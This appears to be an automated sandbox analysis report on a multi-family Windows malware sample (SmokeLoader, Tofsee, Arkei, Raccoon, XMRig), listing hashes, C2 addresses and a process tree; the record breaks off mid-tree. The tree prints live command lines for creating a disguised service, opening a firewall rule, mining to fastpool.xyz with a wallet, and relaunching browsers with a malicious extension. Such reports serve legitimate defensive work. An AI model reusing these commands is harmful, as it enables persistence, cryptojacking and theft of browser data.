Analysis

  • max time kernel
    4265100s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220112
  • submitted
    17/01/2022, 08:08

General

  • Target

    ee8d7b14948e579cd5ec08df93a53cb9d952f7f3c7c7e265e31e71cf6f042243.exe

  • Size

    277KB

  • MD5

    0c1ef73e6b690acce017f8928dd5311f

  • SHA1

    b5c91a17a2cd3e3bd3c9ecb2b2a81bc9be251304

  • SHA256

    ee8d7b14948e579cd5ec08df93a53cb9d952f7f3c7c7e265e31e71cf6f042243

  • SHA512

    64d98b4bbf6ecbac459635082ecd1aee8fba702fecbf8359fba7f9ee07886c1a5287280316449b0b08634c27e9608f78b39717b323541d3c0ec7cb4ac1f782e7

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://host-data-coin-11.com/

http://file-coin-host-12.com/

http://srtuiyhuali.at/

http://fufuiloirtu.com/

http://amogohuigotuli.at/

http://novohudosovu.com/

http://brutuilionust.com/

http://bubushkalioua.com/

http://dumuilistrati.at/

http://verboliatsiaeeees.com/

rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family

tofsee

C2

patmushta.info

parubey.info

Extracted

Family

arkei

Botnet

Default

C2

http://file-file-host4.com/tratata.php

Extracted

Family

raccoon

Version

1.8.4-hotfixs

rc4.plain

Signatures

  • Arkei

    Arkei is an infostealer written in C++.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Suspicious use of NtCreateProcessExOtherParentProcess 8 IoCs
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)

    suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)

  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Arkei Stealer Payload 2 IoCs
  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 12 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 10 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 26 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 22 IoCs
  • Modifies data under HKEY_USERS 14 IoCs
  • Modifies registry class 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ee8d7b14948e579cd5ec08df93a53cb9d952f7f3c7c7e265e31e71cf6f042243.exe
    "C:\Users\Admin\AppData\Local\Temp\ee8d7b14948e579cd5ec08df93a53cb9d952f7f3c7c7e265e31e71cf6f042243.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3008
    • C:\Users\Admin\AppData\Local\Temp\ee8d7b14948e579cd5ec08df93a53cb9d952f7f3c7c7e265e31e71cf6f042243.exe
      "C:\Users\Admin\AppData\Local\Temp\ee8d7b14948e579cd5ec08df93a53cb9d952f7f3c7c7e265e31e71cf6f042243.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:4020
  • C:\Windows\system32\MusNotification.exe
    C:\Windows\system32\MusNotification.exe
    1⤵
    • Checks processor information in registry
    • Suspicious use of AdjustPrivilegeToken
    PID:1776
  • C:\Users\Admin\AppData\Local\Temp\F7AA.exe
    C:\Users\Admin\AppData\Local\Temp\F7AA.exe
    1⤵
    • Executes dropped EXE
    • Checks SCSI registry key(s)
    • Suspicious behavior: MapViewOfSection
    PID:768
  • C:\Users\Admin\AppData\Local\Temp\FDE5.exe
    C:\Users\Admin\AppData\Local\Temp\FDE5.exe
    1⤵
    • Executes dropped EXE
    PID:2560
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2560 -s 552
      2⤵
      • Program crash
      • Checks processor information in registry
      • Enumerates system info in registry
      • Suspicious use of AdjustPrivilegeToken
      PID:1552
  • C:\Users\Admin\AppData\Local\Temp\112.exe
    C:\Users\Admin\AppData\Local\Temp\112.exe
    1⤵
    • Executes dropped EXE
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2912
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\sexyinhg\
      2⤵
        PID:308
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\mtofkpbi.exe" C:\Windows\SysWOW64\sexyinhg\
        2⤵
          PID:1908
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create sexyinhg binPath= "C:\Windows\SysWOW64\sexyinhg\mtofkpbi.exe /d\"C:\Users\Admin\AppData\Local\Temp\112.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:2144
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description sexyinhg "wifi internet conection"
            2⤵
              PID:3224
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start sexyinhg
              2⤵
                PID:3144
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:2384
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 2912 -s 1040
                  2⤵
                  • Program crash
                  PID:364
              • C:\Users\Admin\AppData\Local\Temp\28A.exe
                C:\Users\Admin\AppData\Local\Temp\28A.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:1136
                • C:\Users\Admin\AppData\Local\Temp\28A.exe
                  C:\Users\Admin\AppData\Local\Temp\28A.exe
                  2⤵
                  • Executes dropped EXE
                  PID:3148
                • C:\Users\Admin\AppData\Local\Temp\28A.exe
                  C:\Users\Admin\AppData\Local\Temp\28A.exe
                  2⤵
                  • Executes dropped EXE
                  PID:1016
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 1016 -s 152
                    3⤵
                    • Program crash
                    • Checks processor information in registry
                    • Enumerates system info in registry
                    PID:552
              • C:\Windows\SysWOW64\sexyinhg\mtofkpbi.exe
                C:\Windows\SysWOW64\sexyinhg\mtofkpbi.exe /d"C:\Users\Admin\AppData\Local\Temp\112.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:3708
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:912
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3008
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3708 -s 516
                  2⤵
                  • Program crash
                  PID:2388
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 2912 -ip 2912
                1⤵
                  PID:932
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 3708 -ip 3708
                  1⤵
                    PID:804
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 2560 -ip 2560
                    1⤵
                    • Suspicious use of NtCreateProcessExOtherParentProcess
                    • Suspicious use of WriteProcessMemory
                    PID:996
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 1016 -ip 1016
                    1⤵
                    • Suspicious use of NtCreateProcessExOtherParentProcess
                    • Suspicious use of WriteProcessMemory
                    PID:1284
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
                    1⤵
                      PID:2300
                    • C:\Users\Admin\AppData\Local\Temp\63F5.exe
                      C:\Users\Admin\AppData\Local\Temp\63F5.exe
                      1⤵
                      • Executes dropped EXE
                      PID:1736
                    • C:\Users\Admin\AppData\Local\Temp\68F7.exe
                      C:\Users\Admin\AppData\Local\Temp\68F7.exe
                      1⤵
                      • Executes dropped EXE
                      PID:2016
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -u -p 2016 -s 608
                        2⤵
                        • Program crash
                        • Checks processor information in registry
                        • Enumerates system info in registry
                        PID:3840
                    • C:\Users\Admin\AppData\Local\Temp\7A5D.exe
                      C:\Users\Admin\AppData\Local\Temp\7A5D.exe
                      1⤵
                      • Executes dropped EXE
                      PID:3580
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -u -p 3580 -s 444
                        2⤵
                        • Program crash
                        • Checks processor information in registry
                        • Enumerates system info in registry
                        PID:2728
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -u -p 3580 -s 452
                        2⤵
                        • Program crash
                        • Checks processor information in registry
                        • Enumerates system info in registry
                        PID:2328
                    • C:\Windows\SysWOW64\explorer.exe
                      C:\Windows\SysWOW64\explorer.exe
                      1⤵
                        PID:1840
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -u -p 1840 -s 880
                          2⤵
                          • Program crash
                          • Checks processor information in registry
                          • Enumerates system info in registry
                          PID:3908
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 3580 -ip 3580
                        1⤵
                        • Suspicious use of NtCreateProcessExOtherParentProcess
                        PID:320
                      • C:\Windows\explorer.exe
                        C:\Windows\explorer.exe
                        1⤵
                          PID:3080
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 1840 -ip 1840
                          1⤵
                          • Suspicious use of NtCreateProcessExOtherParentProcess
                          PID:2924
                        • C:\Users\Admin\AppData\Local\Temp\8144.exe
                          C:\Users\Admin\AppData\Local\Temp\8144.exe
                          1⤵
                          • Executes dropped EXE
                          PID:3968
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 3968 -s 448
                            2⤵
                            • Program crash
                            • Checks processor information in registry
                            • Enumerates system info in registry
                            PID:2260
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 3968 -s 456
                            2⤵
                            • Program crash
                            PID:3544
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 3968 -ip 3968
                          1⤵
                            PID:2144
                          • C:\Users\Admin\AppData\Local\Temp\8C90.exe
                            C:\Users\Admin\AppData\Local\Temp\8C90.exe
                            1⤵
                            • Executes dropped EXE
                            • Checks computer location settings
                            • Adds Run key to start application
                            • Suspicious use of AdjustPrivilegeToken
                            • Suspicious use of FindShellTrayWindow
                            PID:900
                            • C:\Windows\system32\Robocopy.exe
                              "C:\Windows\system32\Robocopy.exe" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup"
                              2⤵
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1284
                            • C:\Windows\system32\Robocopy.exe
                              "C:\Windows\system32\Robocopy.exe" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup\Default"
                              2⤵
                                PID:828
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --silent-launch --mute-audio --load-extension="C:\Users\Admin\AppData\Roaming\Microsoft\Security\extension" --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup"
                                2⤵
                                • Enumerates system info in registry
                                • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                PID:2320
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x104,0x108,0x10c,0xb8,0x110,0x7ffc85a14f50,0x7ffc85a14f60,0x7ffc85a14f70
                                  3⤵
                                    PID:1356
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1652,915857005114667139,13085086653136173683,131072 --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1512 /prefetch:2
                                    3⤵
                                    • Suspicious use of NtCreateProcessExOtherParentProcess
                                    PID:2144
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1652,915857005114667139,13085086653136173683,131072 --lang=en-US --service-sandbox-type=network --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=2040 /prefetch:8
                                    3⤵
                                      PID:3972
                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1652,915857005114667139,13085086653136173683,131072 --lang=en-US --service-sandbox-type=utility --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=2292 /prefetch:8
                                      3⤵
                                        PID:932
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1652,915857005114667139,13085086653136173683,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2948 /prefetch:1
                                        3⤵
                                          PID:332
                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1652,915857005114667139,13085086653136173683,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2932 /prefetch:1
                                          3⤵
                                            PID:216
                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1652,915857005114667139,13085086653136173683,131072 --lang=en-US --service-sandbox-type=utility --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=4088 /prefetch:8
                                            3⤵
                                              PID:3216
                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1652,915857005114667139,13085086653136173683,131072 --lang=en-US --service-sandbox-type=utility --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=4556 /prefetch:8
                                              3⤵
                                                PID:3564
                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1652,915857005114667139,13085086653136173683,131072 --lang=en-US --service-sandbox-type=utility --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=4840 /prefetch:8
                                                3⤵
                                                • Suspicious use of NtCreateProcessExOtherParentProcess
                                                PID:2152
                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1652,915857005114667139,13085086653136173683,131072 --lang=en-US --service-sandbox-type=none --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=4736 /prefetch:8
                                                3⤵
                                                  PID:4200
                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1652,915857005114667139,13085086653136173683,131072 --lang=en-US --service-sandbox-type=utility --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=4792 /prefetch:8
                                                  3⤵
                                                    PID:4244
                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1652,915857005114667139,13085086653136173683,131072 --lang=en-US --service-sandbox-type=utility --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=4512 /prefetch:8
                                                    3⤵
                                                      PID:4304
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1652,915857005114667139,13085086653136173683,131072 --lang=en-US --service-sandbox-type=none --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=4592 /prefetch:8
                                                      3⤵
                                                        PID:4312
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1652,915857005114667139,13085086653136173683,131072 --lang=en-US --service-sandbox-type=utility --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=4640 /prefetch:8
                                                        3⤵
                                                          PID:4392
                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1652,915857005114667139,13085086653136173683,131072 --lang=en-US --service-sandbox-type=utility --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=4952 /prefetch:8
                                                          3⤵
                                                            PID:4432
                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1652,915857005114667139,13085086653136173683,131072 --lang=en-US --service-sandbox-type=utility --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=5088 /prefetch:8
                                                            3⤵
                                                              PID:4464
                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1652,915857005114667139,13085086653136173683,131072 --lang=en-US --service-sandbox-type=utility --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=5236 /prefetch:8
                                                              3⤵
                                                                PID:4500
                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1652,915857005114667139,13085086653136173683,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5092 /prefetch:1
                                                                3⤵
                                                                  PID:4540
                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1652,915857005114667139,13085086653136173683,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5568 /prefetch:1
                                                                  3⤵
                                                                    PID:4724
                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1652,915857005114667139,13085086653136173683,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5592 /prefetch:1
                                                                    3⤵
                                                                      PID:5028
                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1652,915857005114667139,13085086653136173683,131072 --lang=en-US --service-sandbox-type=none --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=4660 /prefetch:8
                                                                      3⤵
                                                                        PID:5112
                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1652,915857005114667139,13085086653136173683,131072 --lang=en-US --service-sandbox-type=audio --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=4888 /prefetch:8
                                                                        3⤵
                                                                          PID:4312
                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=1652,915857005114667139,13085086653136173683,131072 --lang=en-US --service-sandbox-type=video_capture --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=4400 /prefetch:8
                                                                          3⤵
                                                                          • Modifies registry class
                                                                          PID:4648
                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1652,915857005114667139,13085086653136173683,131072 --lang=en-US --service-sandbox-type=none --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=4916 /prefetch:8
                                                                          3⤵
                                                                            PID:3380
                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1652,915857005114667139,13085086653136173683,131072 --lang=en-US --service-sandbox-type=utility --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=5976 /prefetch:8
                                                                            3⤵
                                                                              PID:4856
                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1652,915857005114667139,13085086653136173683,131072 --lang=en-US --service-sandbox-type=none --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data Backup" --mojo-platform-channel-handle=5364 /prefetch:8
                                                                              3⤵
                                                                                PID:516
                                                                            • C:\Windows\system32\Robocopy.exe
                                                                              "C:\Windows\system32\Robocopy.exe" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Backup"
                                                                              2⤵
                                                                                PID:2648
                                                                              • C:\Windows\system32\Robocopy.exe
                                                                                "C:\Windows\system32\Robocopy.exe" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Backup\Default"
                                                                                2⤵
                                                                                  PID:4072
                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --silent-launch --mute-audio --load-extension="C:\Users\Admin\AppData\Roaming\Microsoft\Security\extension" --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Backup"
                                                                                  2⤵
                                                                                  • Enumerates system info in registry
                                                                                  • Modifies registry class
                                                                                  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                                  • Suspicious use of FindShellTrayWindow
                                                                                  PID:2280
                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Backup" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Backup\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Backup" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x104,0x108,0x10c,0xdc,0x110,0x7ffc7be346f8,0x7ffc7be34708,0x7ffc7be34718
                                                                                    3⤵
                                                                                      PID:2412
                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2168,16700664301924532873,9720454120207267279,131072 --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Backup" --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2176 /prefetch:2
                                                                                      3⤵
                                                                                        PID:1728
                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
